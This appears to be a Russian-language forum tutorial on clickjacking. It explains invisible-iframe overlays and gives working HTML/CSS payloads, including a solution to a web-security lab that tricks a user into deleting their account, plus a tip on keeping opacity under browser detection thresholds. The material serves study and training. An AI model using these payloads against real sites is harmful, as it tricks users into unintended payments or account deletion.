Vander
Команда форуму
- 10 Лис 2019
- 498
- 1,162
Что такое clickjacking?
Clickjacking - это атака на основе интерфейса, при которой пользователя обманом заставляют щелкнуть по полезному контенту на скрытом веб-сайте, щелкнув какой-либо другой контент на фиктивном веб-сайте. Рассмотрим следующий пример:
Веб-пользователь заходит на веб-сайт-приманку (возможно, это ссылка, предоставленная по электронной почте) и нажимает кнопку, чтобы выиграть приз.
По незнанию он были обманут злоумышленником, так как на самом деле он нажал альтернативную скрытую кнопку, что привело к оплате счета на другом сайте. Это пример атаки кликджекинга. Этот метод зависит от включения невидимой веб-страницы (или нескольких страниц), содержащей кнопку или скрытую ссылку, скажем, внутри iframe.
Кадр iframe накладывается поверх предполагаемого содержимого веб-страницы-приманки пользователя. Эта атака отличается от атаки CSRF тем, что от пользователя требуется выполнить действие, такое как нажатие кнопки, тогда как атака CSRF зависит от подделки всего запроса без ведома или ввода пользователя.
Как построить базовую атаку clickjacking?
Атаки Clickjacking используют CSS для создания слоев и управления ими. Злоумышленник включает целевой веб-сайт в виде слоя iframe, наложенного на веб-сайт-приманку. Пример использования тега стиля и параметров выглядит следующим образом:
HTML:
<head>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
Абсолютные и относительные значения положения используются для того, чтобы целевой веб-сайт точно перекрывал обманку независимо от размера экрана, типа браузера и платформы. Z-индекс определяет порядок размещения слоев iframe и веб-сайта. Значение непрозрачности определяется как 0,0 (или близко к 0,0), чтобы содержимое iframe было прозрачным для пользователя.
Защита от кликджекинга в браузере может применять обнаружение прозрачности iframe на основе порогового значения (например, Chrome версии 76 включает это поведение, а Firefox — нет). Злоумышленник выбирает значения непрозрачности таким образом, чтобы желаемый эффект был достигнут без срабатывания защитных действий.
Практический пример: Basic clickjacking with CSRF token protection.
Эта лабораторная работа содержит функцию входа в систему и кнопку удаления учетной записи, защищенную токеном CSRF. Пользователь будет нажимать на элементы, которые отображают слово «Click» на веб-сайте-приманке.
Чтобы решить лабораторную задачу, мы создадим некоторый HTML-код, который обрамляет страницу учетной записи и обманывает пользователя, заставляя его удалить свою учетную запись.
HTML:
<style>
iframe {
position:relative;
width: 900;
height: 600;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:495;
left:68;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://ac8e1fd71fc81682c00a2116009900e5.web-security-academy.net/my-account"></iframe>
Спасибо за внимание, материал подготовлен специаль но для protey.net